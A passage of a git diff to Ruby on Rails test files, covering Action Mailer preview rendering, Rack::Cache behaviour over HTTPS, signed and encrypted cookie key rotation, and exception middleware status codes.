+      assert_match '<option selected value="locale=en">en', last_response.body
+      assert_match '<option  value="locale=ja">ja', last_response.body
+
+      get "/rails/mailers/notifier/foo.txt?locale=ja"
+      assert_equal 200, last_response.status
+      assert_match '<option  value="locale=en">en', last_response.body
+      assert_match '<option selected value="locale=ja">ja', last_response.body
+    end
+
+    test "preview does not leak I18n global setting changes" do
+      quietly do
+        I18n.with_locale(:en) do
+          get "/rails/mailers/notifier/foo.txt?locale=ja"
+          assert_equal :en, I18n.locale
+        end
+      end
     end
 
     test "mailer previews create correct links when loaded on a subdirectory" do
@@ -480,11 +669,62 @@ def foo
 
       app("development")
 
-      get "/rails/mailers", {}, "SCRIPT_NAME" => "/my_app"
+      get "/rails/mailers", {}, { "SCRIPT_NAME" => "/my_app" }
       assert_match '<h3><a href="/my_app/rails/mailers/notifier">Notifier</a></h3>', last_response.body
       assert_match '<li><a href="/my_app/rails/mailers/notifier/foo">foo</a></li>', last_response.body
     end
 
+    test "mailer preview receives query params" do
+      mailer "notifier", <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "from@example.com"
+
+          def foo(name)
+            @name = name
+            mail to: "to@example.org"
+          end
+        end
+      RUBY
+
+      html_template "notifier/foo", <<-RUBY
+        <p>Hello, <%= @name %>!</p>
+      RUBY
+
+      text_template "notifier/foo", <<-RUBY
+        Hello, <%= @name %>!
+      RUBY
+
+      mailer_preview "notifier", <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo(params[:name] || "World")
+          end
+        end
+      RUBY
+
+      app("development")
+
+      get "/rails/mailers/notifier/foo.txt"
+      assert_equal 200, last_response.status
+      assert_match '<iframe name="messageBody" src="?part=text%2Fplain">', last_response.body
+      assert_match '<option selected value="part=text%2Fplain">', last_response.body
+      assert_match '<option  value="part=text%2Fhtml">', last_response.body
+
+      get "/rails/mailers/notifier/foo?part=text%2Fplain"
+      assert_equal 200, last_response.status
+      assert_match %r[Hello, World!], last_response.body
+
+      get "/rails/mailers/notifier/foo.html?name=Ruby"
+      assert_equal 200, last_response.status
+      assert_match '<iframe name="messageBody" src="?name=Ruby&amp;part=text%2Fhtml">', last_response.body
+      assert_match '<option selected value="name=Ruby&amp;part=text%2Fhtml">', last_response.body
+      assert_match '<option  value="name=Ruby&amp;part=text%2Fplain">', last_response.body
+
+      get "/rails/mailers/notifier/foo?name=Ruby&part=text%2Fhtml"
+      assert_equal 200, last_response.status
+      assert_match %r[<p>Hello, Ruby!</p>], last_response.body
+    end
+
     test "plain text mailer preview with attachment" do
       image_file "pixel.png", "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABAQMAAAAl21bKAAAAA1BMVEWzIioca/JlAAAACklEQVQI12NgAAAAAgAB4iG8MwAAAABJRU5ErkJgggo="
 
@@ -493,7 +733,7 @@ class Notifier < ActionMailer::Base
           default from: "from@example.com"
 
           def foo
-            attachments['pixel.png'] = File.read("#{app_path}/public/images/pixel.png", mode: 'rb')
+            attachments['pixel.png'] = File.binread("#{app_path}/public/images/pixel.png")
             mail to: "to@example.org"
           end
         end
@@ -515,11 +755,21 @@ def foo
 
       get "/rails/mailers/notifier/foo"
       assert_equal 200, last_response.status
-      assert_match %r[<iframe seamless name="messageBody"], last_response.body
+      assert_match %[<iframe name="messageBody"], last_response.body
+      assert_match %[<dt>Attachments:</dt>], last_response.body
+      assert_no_match %[Inline:], last_response.body
+      assert_match %[<a download="pixel.png" href="data:application/octet-stream;charset=utf-8;base64,iVBORw0K], last_response.body
 
       get "/rails/mailers/notifier/foo?part=text/plain"
       assert_equal 200, last_response.status
       assert_match %r[Hello, World!], last_response.body
+
+      get "/rails/mailers/download/notifier/foo"
+      assert_equal 200, last_response.status
+      email = Mail.read_from_string(last_response.body)
+      assert_equal 2, email.parts.size
+      assert_equal "text/plain; charset=UTF-8", email.parts[0].content_type
+      assert_equal "image/png; filename=pixel.png", email.parts[1].content_type
     end
 
     test "multipart mailer preview with attachment" do
@@ -530,7 +780,7 @@ class Notifier < ActionMailer::Base
           default from: "from@example.com"
 
           def foo
-            attachments['pixel.png'] = File.read("#{app_path}/public/images/pixel.png", mode: 'rb')
+            attachments['pixel.png'] = File.binread("#{app_path}/public/images/pixel.png")
             mail to: "to@example.org"
           end
         end
@@ -556,7 +806,10 @@ def foo
 
       get "/rails/mailers/notifier/foo"
       assert_equal 200, last_response.status
-      assert_match %r[<iframe seamless name="messageBody"], last_response.body
+      assert_match %[<iframe name="messageBody"], last_response.body
+      assert_match %[<dt>Attachments:</dt>], last_response.body
+      assert_no_match %[Inline:], last_response.body
+      assert_match %[<a download="pixel.png" href="data:application/octet-stream;charset=utf-8;base64,iVBORw0K], last_response.body
 
       get "/rails/mailers/notifier/foo?part=text/plain"
       assert_equal 200, last_response.status
@@ -575,7 +828,7 @@ class Notifier < ActionMailer::Base
           default from: "from@example.com"
 
           def foo
-            attachments['pixel.png'] = File.read("#{app_path}/public/images/pixel.png", mode: 'rb')
+            attachments.inline['pixel.png'] = File.binread("#{app_path}/public/images/pixel.png")
             mail to: "to@example.org"
           end
         end
@@ -602,7 +855,9 @@ def foo
 
       get "/rails/mailers/notifier/foo"
       assert_equal 200, last_response.status
-      assert_match %r[<iframe seamless name="messageBody"], last_response.body
+      assert_match %[<iframe name="messageBody"], last_response.body
+      assert_match %[<dt>Attachments:</dt>], last_response.body
+      assert_match %r[\(Inline:\s+<a download="pixel.png" href="data:application/octet-stream;charset=utf-8;base64,iVBORw0K], last_response.body
 
       get "/rails/mailers/notifier/foo?part=text/plain"
       assert_equal 200, last_response.status
@@ -612,6 +867,10 @@ def foo
       assert_equal 200, last_response.status
       assert_match %r[<p>Hello, World!</p>], last_response.body
       assert_match %r[src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABAQMAAAAl21bKAAAAA1BMVEWzIioca/JlAAAACklEQVQI12NgAAAAAgAB4iG8MwAAAABJRU5ErkJgggo="], last_response.body
+
+      get "/rails/mailers/download/notifier/foo"
+      email = Mail.read_from_string(last_response.body)
+      assert_equal "inline; filename=pixel.png", email.attachments.inline["pixel.png"].content_disposition
     end
 
     test "multipart mailer preview with attached email" do
@@ -660,7 +919,10 @@ def foo
 
       get "/rails/mailers/notifier/foo"
       assert_equal 200, last_response.status
-      assert_match %r[<iframe seamless name="messageBody"], last_response.body
+      assert_match %[<iframe name="messageBody"], last_response.body
+      assert_match %[<dt>Attachments:</dt>], last_response.body
+      assert_no_match %[Inline:], last_response.body
+      assert_match %[<a download="message.eml" href="data:application/octet-stream;charset=utf-8;base64,RGF0ZTog], last_response.body
 
       get "/rails/mailers/notifier/foo?part=text/plain"
       assert_equal 200, last_response.status
@@ -705,10 +967,169 @@ def foo
       assert_equal 200, last_response.status
     end
 
+    test "mailer preview title tag" do
+      mailer "notifier", <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "from@example.com"
+
+          def foo
+            mail to: "to@example.org"
+          end
+        end
+      RUBY
+
+      text_template "notifier/foo", <<-RUBY
+        Hello, World!
+      RUBY
+
+      mailer_preview "notifier", <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo
+          end
+        end
+      RUBY
+
+      app("development")
+
+      get "/rails/mailers/notifier/foo"
+      assert_match "<title>Mailer Preview for notifier#foo</title>", last_response.body
+    end
+
+    test "mailer preview sender tags" do
+      mailer "notifier", <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "from@example.com"
+          def foo
+            mail to: "to@example.org", cc: "cc@example.com", bcc: "bcc@example.com"
+          end
+        end
+      RUBY
+
+      text_template "notifier/foo", <<-RUBY
+        Hello, World!
+      RUBY
+
+      mailer_preview "notifier", <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo
+          end
+        end
+      RUBY
+
+      app("development")
+
+      get "/rails/mailers/notifier/foo"
+      assert_match "<dd id=\"to\">to@example.org</dd>", last_response.body
+      assert_match "<dd id=\"cc\">cc@example.com</dd>", last_response.body
+      assert_match "<dd id=\"bcc\">bcc@example.com</dd>", last_response.body
+    end
+
+    test "mailer preview date tag renders date from message header" do
+      mailer "notifier", <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "from@example.com"
+
+          def foo
+            mail to: "to@example.org", date: Time.utc(2023, 10, 20, 10, 20, 30)
+          end
+        end
+      RUBY
+
+      text_template "notifier/foo", <<-RUBY
+        Hello, World!
+      RUBY
+
+      mailer_preview "notifier", <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo
+          end
+        end
+      RUBY
+
+      app("development")
+
+      get "/rails/mailers/notifier/foo"
+      assert_match "<dd id=\"date\">Fri, 20 Oct 2023 10:20:30 +0000</dd>", last_response.body
+    end
+
+    test "mailer preview date tag falls back to current time when date header is not present" do
+      mailer "notifier", <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "from@example.com"
+
+          def foo
+            mail to: "to@example.org"
+          end
+        end
+      RUBY
+
+      text_template "notifier/foo", <<-RUBY
+        Hello, World!
+      RUBY
+
+      mailer_preview "notifier", <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo
+          end
+        end
+      RUBY
+
+      app("development")
+
+      travel_to(Time.utc(2023, 10, 20, 10, 20, 30)) do
+        get "/rails/mailers/notifier/foo"
+      end
+      assert_match "<dd id=\"date\">Fri, 20 Oct 2023 10:20:30 +0000</dd>", last_response.body
+    end
+
+    test "mailer preview has access to rendering context" do
+      mailer "notifier", <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "from@example.com"
+          def foo
+            @template = params[:template]
+            mail to: "to@example.org", cc: "cc@example.com", bcc: "bcc@example.com"
+          end
+        end
+      RUBY
+
+      text_template "notifier/foo", <<-RUBY
+        <%= @template %>
+      RUBY
+
+      text_template "notifier/bar", <<-RUBY
+        bar
+      RUBY
+
+      mailer_preview "notifier", <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            # This is meant to simulate how Action Text's renderer works. See #47072.
+            template = Rails::MailersController.renderer.render_to_string("notifier/bar")
+            Notifier.with(template: template).foo
+          end
+        end
+      RUBY
+
+      app("development")
+
+      get "/rails/mailers/notifier/foo?part=text%2Fplain"
+      assert_includes last_response.body, "bar"
+    end
+
     private
       def build_app
         super
         app_file "config/routes.rb", "Rails.application.routes.draw do; end"
+        app_dir "test/mailers/previews"
+      end
+
+      def document_root_element
+        Nokogiri::HTML5.parse(last_response.body)
       end
 
       def mailer(name, contents)
diff --git a/railties/test/application/middleware/cache_test.rb b/railties/test/application/middleware/cache_test.rb
index dc1d816dc53d1..4efd966d43e1d 100644
--- a/railties/test/application/middleware/cache_test.rb
+++ b/railties/test/application/middleware/cache_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "isolation/abstract_unit"
 
 module ApplicationTests
@@ -8,6 +10,9 @@ def setup
       build_app
       require "rack/test"
       extend Rack::Test::Methods
+
+      add_to_env_config "production", "config.cache_store = :memory_store"
+      add_to_env_config "production", "config.action_dispatch.rack_cache = true"
     end
 
     def teardown
@@ -36,7 +41,7 @@ def keeps_if_modified_since
           end
         private
           def render_conditionally(headers)
-            if stale?(headers.merge(public: !params[:private]))
+            if stale?(**headers.merge(public: !params[:private]))
               render plain: SecureRandom.hex(16)
             end
           end
@@ -54,7 +59,7 @@ def test_cache_keeps_if_modified_since
       simple_controller
       expected = "Wed, 30 May 1984 19:43:31 GMT"
 
-      get "/expires/keeps_if_modified_since", {}, "HTTP_IF_MODIFIED_SINCE" => expected
+      get "/expires/keeps_if_modified_since", {}, { "HTTP_IF_MODIFIED_SINCE" => expected, "HTTPS" => "on" }
 
       assert_equal 200, last_response.status
       assert_equal expected, last_response.body, "cache should have kept If-Modified-Since"
@@ -77,15 +82,13 @@ def test_cache_is_disabled_in_dev_mode
     def test_cache_works_with_expires
       simple_controller
 
-      add_to_config "config.action_dispatch.rack_cache = true"
-
-      get "/expires/expires_header"
+      get "/expires/expires_header", {}, { "HTTPS" => "on" }
       assert_equal "miss, store", last_response.headers["X-Rack-Cache"]
       assert_equal "max-age=10, public", last_response.headers["Cache-Control"]
 
       body = last_response.body
 
-      get "/expires/expires_header"
+      get "/expires/expires_header", {}, { "HTTPS" => "on" }
 
       assert_equal "fresh", last_response.headers["X-Rack-Cache"]
 
@@ -95,15 +98,13 @@ def test_cache_works_with_expires
     def test_cache_works_with_expires_private
       simple_controller
 
-      add_to_config "config.action_dispatch.rack_cache = true"
-
-      get "/expires/expires_header", private: true
+      get "/expires/expires_header", { private: true }, { "HTTPS" => "on" }
       assert_equal "miss",                last_response.headers["X-Rack-Cache"]
       assert_equal "private, max-age=10", last_response.headers["Cache-Control"]
 
       body = last_response.body
 
-      get "/expires/expires_header", private: true
+      get "/expires/expires_header", { private: true }, { "HTTPS" => "on" }
       assert_equal "miss",           last_response.headers["X-Rack-Cache"]
       assert_not_equal body,         last_response.body
     end
@@ -111,68 +112,60 @@ def test_cache_works_with_expires_private
     def test_cache_works_with_etags
       simple_controller
 
-      add_to_config "config.action_dispatch.rack_cache = true"
-
-      get "/expires/expires_etag"
-      assert_equal "miss, store", last_response.headers["X-Rack-Cache"]
+      get "/expires/expires_etag", {}, { "HTTPS" => "on" }
       assert_equal "public", last_response.headers["Cache-Control"]
+      assert_equal "miss, store", last_response.headers["X-Rack-Cache"]
 
-      body = last_response.body
       etag = last_response.headers["ETag"]
 
-      get "/expires/expires_etag", {}, "If-None-Match" => etag
+      get "/expires/expires_etag", {}, { "HTTP_IF_NONE_MATCH" => etag, "HTTPS" => "on" }
       assert_equal "stale, valid, store", last_response.headers["X-Rack-Cache"]
-      assert_equal body,                  last_response.body
+      assert_equal 304, last_response.status
+      assert_equal "", last_response.body
     end
 
     def test_cache_works_with_etags_private
       simple_controller
 
-      add_to_config "config.action_dispatch.rack_cache = true"
-
-      get "/expires/expires_etag", private: true
+      get "/expires/expires_etag", { private: true }, { "HTTPS" => "on" }
       assert_equal "miss",                                last_response.headers["X-Rack-Cache"]
       assert_equal "must-revalidate, private, max-age=0", last_response.headers["Cache-Control"]
 
       body = last_response.body
       etag = last_response.headers["ETag"]
 
-      get "/expires/expires_etag", { private: true }, "If-None-Match" => etag
-      assert_equal     "miss", last_response.headers["X-Rack-Cache"]
+      get "/expires/expires_etag", { private: true }, { "HTTP_IF_NONE_MATCH" => etag, "HTTPS" => "on" }
+      assert_equal "miss", last_response.headers["X-Rack-Cache"]
       assert_not_equal body,   last_response.body
     end
 
     def test_cache_works_with_last_modified
       simple_controller
 
-      add_to_config "config.action_dispatch.rack_cache = true"
-
-      get "/expires/expires_last_modified"
-      assert_equal "miss, store", last_response.headers["X-Rack-Cache"]
+      get "/expires/expires_last_modified", {}, { "HTTPS" => "on" }
       assert_equal "public", last_response.headers["Cache-Control"]
+      assert_equal "miss, store", last_response.headers["X-Rack-Cache"]
 
-      body = last_response.body
       last = last_response.headers["Last-Modified"]
 
-      get "/expires/expires_last_modified", {}, "If-Modified-Since" => last
+      get "/expires/expires_last_modified", {}, { "HTTP_IF_MODIFIED_SINCE" => last, "HTTPS" => "on" }
       assert_equal "stale, valid, store", last_response.headers["X-Rack-Cache"]
-      assert_equal body,                  last_response.body
+      assert_equal 304, last_response.status
+      assert_equal "", last_response.body
     end
 
     def test_cache_works_with_last_modified_private
       simple_controller
 
-      add_to_config "config.action_dispatch.rack_cache = true"
-
-      get "/expires/expires_last_modified", private: true
+      get "/expires/expires_last_modified", { private: true }, { "HTTPS" => "on" }
       assert_equal "miss",                                last_response.headers["X-Rack-Cache"]
       assert_equal "must-revalidate, private, max-age=0", last_response.headers["Cache-Control"]
 
       body = last_response.body
       last = last_response.headers["Last-Modified"]
 
-      get "/expires/expires_last_modified", { private: true }, "If-Modified-Since" => last
-      assert_equal     "miss", last_response.headers["X-Rack-Cache"]
+      get "/expires/expires_last_modified", { private: true }, { "HTTP_IF_MODIFIED_SINCE" => last, "HTTPS" => "on" }
+      assert_equal "miss", last_response.headers["X-Rack-Cache"]
       assert_not_equal body,   last_response.body
     end
   end
diff --git a/railties/test/application/middleware/cookies_test.rb b/railties/test/application/middleware/cookies_test.rb
index 1e4b5d086c6bb..c415370f0a1f4 100644
--- a/railties/test/application/middleware/cookies_test.rb
+++ b/railties/test/application/middleware/cookies_test.rb
@@ -1,8 +1,12 @@
+# frozen_string_literal: true
+
 require "isolation/abstract_unit"
+require "rack/test"
 
 module ApplicationTests
   class CookiesTest < ActiveSupport::TestCase
     include ActiveSupport::Testing::Isolation
+    include Rack::Test::Methods
 
     def new_app
       File.expand_path("#{app_path}/../new_app")
@@ -10,7 +14,11 @@ def new_app
 
     def setup
       build_app
-      FileUtils.rm_rf("#{app_path}/config/environments")
+      reset_environment_configs
+    end
+
+    def app
+      Rails.application
     end
 
     def teardown
@@ -42,5 +50,287 @@ def teardown
       require "#{app_path}/config/environment"
       assert_equal false, ActionDispatch::Cookies::CookieJar.always_write_cookie
     end
+
+    test "signed cookies with SHA512 digest and marshal serializer and rotated out SHA256 and SHA1 digests" do
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get  ':controller(/:action)'
+          post ':controller(/:action)'
+        end
+      RUBY
+
+      controller :foo, <<-RUBY
+        class FooController < ActionController::Base
+          protect_from_forgery with: :null_session
+
+          def write_raw_cookie_sha1
+            cookies[:signed_cookie] = TestVerifiers.sha1.generate("signed cookie")
+            head :ok
+          end
+
+          def write_raw_cookie_sha256
+            cookies[:signed_cookie] = TestVerifiers.sha256.generate("signed cookie")
+            head :ok
+          end
+
+          def read_signed
+            render plain: cookies.signed[:signed_cookie].inspect
+          end
+
+          def read_raw_cookie
+            render plain: cookies[:signed_cookie]
+          end
+        end
+      RUBY
+
+      add_to_config <<-RUBY
+        sha1_secret   = Rails.application.key_generator.generate_key("sha1")
+        sha256_secret = Rails.application.key_generator.generate_key("sha256")
+
+        ::TestVerifiers = Class.new do
+          class_attribute :sha1, default: ActiveSupport::MessageVerifier.new(sha1_secret, digest: "SHA1", serializer: Marshal)
+          class_attribute :sha256, default: ActiveSupport::MessageVerifier.new(sha256_secret, digest: "SHA256", serializer: Marshal)
+        end
+
+        config.action_dispatch.signed_cookie_digest = "SHA512"
+        config.action_dispatch.signed_cookie_salt = "sha512 salt"
+        config.action_dispatch.cookies_serializer = :marshal
+
+        config.action_dispatch.cookies_rotations.tap do |cookies|
+          cookies.rotate :signed, sha1_secret,   digest: "SHA1"
+          cookies.rotate :signed, sha256_secret, digest: "SHA256"
+        end
+      RUBY
+
+      require "#{app_path}/config/environment"
+
+      verifier_sha512 = ActiveSupport::MessageVerifier.new(app.key_generator.generate_key("sha512 salt"), digest: :SHA512, serializer: Marshal)
+
+      get "/foo/write_raw_cookie_sha1"
+      get "/foo/read_signed"
+      assert_equal "signed cookie".inspect, last_response.body
+
+      get "/foo/read_raw_cookie"
+      assert_equal "signed cookie", verifier_sha512.verify(last_response.body, purpose: "cookie.signed_cookie")
+
+      get "/foo/write_raw_cookie_sha256"
+      get "/foo/read_signed"
+      assert_equal "signed cookie".inspect, last_response.body
+
+      get "/foo/read_raw_cookie"
+      assert_equal "signed cookie", verifier_sha512.verify(last_response.body, purpose: "cookie.signed_cookie")
+    end
+
+    test "signed cookies with SHA512 digest and JSON serializer and rotated out SHA256 and SHA1 digests" do
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get  ':controller(/:action)'
+          post ':controller(/:action)'
+        end
+      RUBY
+
+      controller :foo, <<-RUBY
+        class FooController < ActionController::Base
+          protect_from_forgery with: :null_session
+
+          def write_raw_cookie_sha1
+            cookies[:signed_cookie] = TestVerifiers.sha1.generate("signed cookie")
+            head :ok
+          end
+
+          def write_raw_cookie_sha256
+            cookies[:signed_cookie] = TestVerifiers.sha256.generate("signed cookie")
+            head :ok
+          end
+
+          def read_signed
+            render plain: cookies.signed[:signed_cookie].inspect
+          end
+
+          def read_raw_cookie
+            render plain: cookies[:signed_cookie]
+          end
+        end
+      RUBY
+
+      add_to_config <<-RUBY
+        sha1_secret   = Rails.application.key_generator.generate_key("sha1")
+        sha256_secret = Rails.application.key_generator.generate_key("sha256")
+
+        ::TestVerifiers = Class.new do
+          class_attribute :sha1, default: ActiveSupport::MessageVerifier.new(sha1_secret, digest: "SHA1", serializer: JSON)
+          class_attribute :sha256, default: ActiveSupport::MessageVerifier.new(sha256_secret, digest: "SHA256", serializer: JSON)
+        end
+
+        config.action_dispatch.signed_cookie_digest = "SHA512"
+        config.action_dispatch.signed_cookie_salt = "sha512 salt"
+        config.action_dispatch.cookies_serializer = :json
+
+        config.action_dispatch.cookies_rotations.tap do |cookies|
+          cookies.rotate :signed, sha1_secret,   digest: "SHA1"
+          cookies.rotate :signed, sha256_secret, digest: "SHA256"
+        end
+      RUBY
+
+      require "#{app_path}/config/environment"
+
+      verifier_sha512 = ActiveSupport::MessageVerifier.new(app.key_generator.generate_key("sha512 salt"), digest: :SHA512, serializer: JSON)
+
+      get "/foo/write_raw_cookie_sha1"
+      get "/foo/read_signed"
+      assert_equal "signed cookie".inspect, last_response.body
+
+      get "/foo/read_raw_cookie"
+      assert_equal "signed cookie", verifier_sha512.verify(last_response.body, purpose: "cookie.signed_cookie")
+
+      get "/foo/write_raw_cookie_sha256"
+      get "/foo/read_signed"
+      assert_equal "signed cookie".inspect, last_response.body
+
+      get "/foo/read_raw_cookie"
+      assert_equal "signed cookie", verifier_sha512.verify(last_response.body, purpose: "cookie.signed_cookie")
+    end
+
+    test "encrypted cookies rotating multiple encryption keys" do
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get  ':controller(/:action)'
+          post ':controller(/:action)'
+        end
+      RUBY
+
+      controller :foo, <<-RUBY
+        class FooController < ActionController::Base
+          protect_from_forgery with: :null_session
+
+          def write_raw_cookie_one
+            cookies[:encrypted_cookie] = TestEncryptors.first_gcm.encrypt_and_sign("encrypted cookie")
+            head :ok
+          end
+
+          def write_raw_cookie_two
+            cookies[:encrypted_cookie] = TestEncryptors.second_gcm.encrypt_and_sign("encrypted cookie")
+            head :ok
+          end
+
+          def read_encrypted
+            render plain: cookies.encrypted[:encrypted_cookie].inspect
+          end
+
+          def read_raw_cookie
+            render plain: cookies[:encrypted_cookie]
+          end
+        end
+      RUBY
+
+      add_to_config <<-RUBY
+        first_secret  = Rails.application.key_generator.generate_key("first", 32)
+        second_secret = Rails.application.key_generator.generate_key("second", 32)
+
+        ::TestEncryptors = Class.new do
+          class_attribute :first_gcm,  default: ActiveSupport::MessageEncryptor.new(first_secret, cipher: "aes-256-gcm", serializer: Marshal)
+          class_attribute :second_gcm, default: ActiveSupport::MessageEncryptor.new(second_secret, cipher: "aes-256-gcm", serializer: Marshal)
+        end
+
+        config.action_dispatch.use_authenticated_cookie_encryption = true
+        config.action_dispatch.encrypted_cookie_cipher = "aes-256-gcm"
+        config.action_dispatch.authenticated_encrypted_cookie_salt = "salt"
+        config.action_dispatch.cookies_serializer = :marshal
+
+        config.action_dispatch.cookies_rotations.tap do |cookies|
+          cookies.rotate :encrypted, first_secret
+          cookies.rotate :encrypted, second_secret
+        end
+      RUBY
+
+      require "#{app_path}/config/environment"
+
+      encryptor = ActiveSupport::MessageEncryptor.new(app.key_generator.generate_key("salt", 32), cipher: "aes-256-gcm", serializer: Marshal)
+
+      get "/foo/write_raw_cookie_one"
+      get "/foo/read_encrypted"
+      assert_equal "encrypted cookie".inspect, last_response.body
+
+      get "/foo/read_raw_cookie"
+      assert_equal "encrypted cookie", encryptor.decrypt_and_verify(last_response.body, purpose: "cookie.encrypted_cookie")
+
+      get "/foo/write_raw_cookie_two"
+      get "/foo/read_encrypted"
+      assert_equal "encrypted cookie".inspect, last_response.body
+
+      get "/foo/read_raw_cookie"
+      assert_equal "encrypted cookie", encryptor.decrypt_and_verify(last_response.body, purpose: "cookie.encrypted_cookie")
+    end
+
+    test "encrypted cookies rotating multiple encryption keys with cookies serializer as json" do
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get  ':controller(/:action)'
+          post ':controller(/:action)'
+        end
+      RUBY
+
+      controller :foo, <<-RUBY
+        class FooController < ActionController::Base
+          protect_from_forgery with: :null_session
+
+          def write_raw_cookie_one
+            cookies[:encrypted_cookie] = TestEncryptors.first_gcm.encrypt_and_sign("encrypted cookie")
+            head :ok
+          end
+
+          def write_raw_cookie_two
+            cookies[:encrypted_cookie] = TestEncryptors.second_gcm.encrypt_and_sign("encrypted cookie")
+            head :ok
+          end
+
+          def read_encrypted
+            render plain: cookies.encrypted[:encrypted_cookie].inspect
+          end
+
+          def read_raw_cookie
+            render plain: cookies[:encrypted_cookie]
+          end
+        end
+      RUBY
+
+      add_to_config <<-RUBY
+        first_secret  = Rails.application.key_generator.generate_key("first", 32)
+        second_secret = Rails.application.key_generator.generate_key("second", 32)
+
+        ::TestEncryptors = Class.new do
+          class_attribute :first_gcm,  default: ActiveSupport::MessageEncryptor.new(first_secret, cipher: "aes-256-gcm", serializer: ActiveSupport::JSON)
+          class_attribute :second_gcm, default: ActiveSupport::MessageEncryptor.new(second_secret, cipher: "aes-256-gcm", serializer: ActiveSupport::JSON)
+        end
+
+        config.action_dispatch.use_authenticated_cookie_encryption = true
+        config.action_dispatch.encrypted_cookie_cipher = "aes-256-gcm"
+        config.action_dispatch.authenticated_encrypted_cookie_salt = "salt"
+        config.action_dispatch.cookies_serializer = :json
+
+        config.action_dispatch.cookies_rotations.tap do |cookies|
+          cookies.rotate :encrypted, first_secret
+          cookies.rotate :encrypted, second_secret
+        end
+      RUBY
+
+      require "#{app_path}/config/environment"
+
+      encryptor = ActiveSupport::MessageEncryptor.new(app.key_generator.generate_key("salt", 32), cipher: "aes-256-gcm")
+
+      get "/foo/write_raw_cookie_one"
+      get "/foo/read_encrypted"
+      assert_equal "encrypted cookie".inspect, last_response.body
+
+      get "/foo/read_raw_cookie"
+      assert_equal "encrypted cookie", encryptor.decrypt_and_verify(last_response.body, purpose: "cookie.encrypted_cookie")
+
+      get "/foo/write_raw_cookie_two"
+      get "/foo/read_encrypted"
+      assert_equal "encrypted cookie".inspect, last_response.body
+
+      get "/foo/read_raw_cookie"
+      assert_equal "encrypted cookie", encryptor.decrypt_and_verify(last_response.body, purpose: "cookie.encrypted_cookie")
+    end
   end
 end
diff --git a/railties/test/application/middleware/exceptions_test.rb b/railties/test/application/middleware/exceptions_test.rb
index cbb990f13bb75..48778e41ed585 100644
--- a/railties/test/application/middleware/exceptions_test.rb
+++ b/railties/test/application/middleware/exceptions_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "isolation/abstract_unit"
 require "rack/test"
 
@@ -15,7 +17,10 @@ def teardown
     end
 
     test "show exceptions middleware filter backtrace before logging" do
-      controller :foo, <<-RUBY
+      routes <<~'RUBY'
+        get "/foo" => "foo#index"
+      RUBY
+      controller :foo, <<~'RUBY'
         class FooController < ActionController::Base
           def index
             raise 'oops'
@@ -23,16 +28,20 @@ def index
         end
       RUBY
 
-      get "/foo"
-      assert_equal 500, last_response.status
+      log = capture(:stdout) do
+        get("/foo", {}, "HTTPS" => "on")
+        assert_equal 500, last_response.status
+      end
 
-      log = File.read(Rails.application.config.paths["log"].first)
       assert_no_match(/action_dispatch/, log, log)
       assert_match(/oops/, log, log)
     end
 
     test "renders active record exceptions as 404" do
-      controller :foo, <<-RUBY
+      routes <<~'RUBY'
+        get "/foo" => "foo#index"
+      RUBY
+      controller :foo, <<~'RUBY'
         class FooController < ActionController::Base
           def index
             raise ActiveRecord::RecordNotFound
@@ -40,26 +49,95 @@ def index
         end
       RUBY
 
-      get "/foo"
-      assert_equal 404, last_response.status
+      quietly do
+        get "/foo", {}, { "HTTPS" => "on" }
+        assert_equal 404, last_response.status
+      end
+    end
+
+    test "renders unknown http methods as 405" do
+      quietly do
+        request("/", { "REQUEST_METHOD" => "NOT_AN_HTTP_METHOD", "HTTPS" => "on" })
+        assert_equal 405, last_response.status
+      end
+    end
+
+    test "renders unknown http methods as 405 when routes are used as the custom exceptions app" do
+      routes ""
+
+      add_to_config "config.exceptions_app = self.routes"
+
+      app.config.action_dispatch.show_exceptions = :all
+
+      quietly do
+        request "/", { "REQUEST_METHOD" => "NOT_AN_HTTP_METHOD", "HTTPS" => "on" }
+        assert_equal 405, last_response.status
+      end
+    end
+
+    test "renders unknown http formats as 406 when routes are used as the custom exceptions app" do
+      controller :foo, <<~'RUBY'
+        class FooController < ActionController::Base
+          def index
+            render plain: "rendering index!"
+          end
+
+          def not_acceptable
+            render json: { error: "some error message" }, status: :not_acceptable
+          end
+        end
+      RUBY
+
+      routes <<~'RUBY'
+        get "/foo", to: "foo#index"
+        post "/foo", to: "foo#index"
+        match "/406", to: "foo#not_acceptable", via: :all
+      RUBY
+
+      add_to_config "config.exceptions_app = self.routes"
+      add_to_config "config.action_dispatch.show_exceptions = :all"
+      add_to_config "config.consider_all_requests_local = false"
+
+      quietly do
+        get "/foo", {}, { "HTTP_ACCEPT" => "invalid", "HTTPS" => "on" }
+        assert_equal 406, last_response.status
+        assert_not_equal "rendering index!", last_response.body
+
+        get "/foo", {}, { "CONTENT_TYPE" => "invalid", "HTTPS" => "on" }
+        assert_equal 406, last_response.status
+        assert_not_equal "rendering index!", last_response.body
+
+        get "/foo", {}, { "HTTP_ACCEPT" => "invalid", "CONTENT_TYPE" => "invalid", "HTTPS" => "on" }
+        assert_equal 406, last_response.status
+        assert_not_equal "rendering index!", last_response.body
+
+        post "/foo", {}, { "HTTP_ACCEPT" => "invalid", "CONTENT_TYPE" => "invalid", "HTTPS" => "on" }
+        assert_equal 406, last_response.status
+        assert_not_equal "rendering index!", last_response.body
+      end
     end
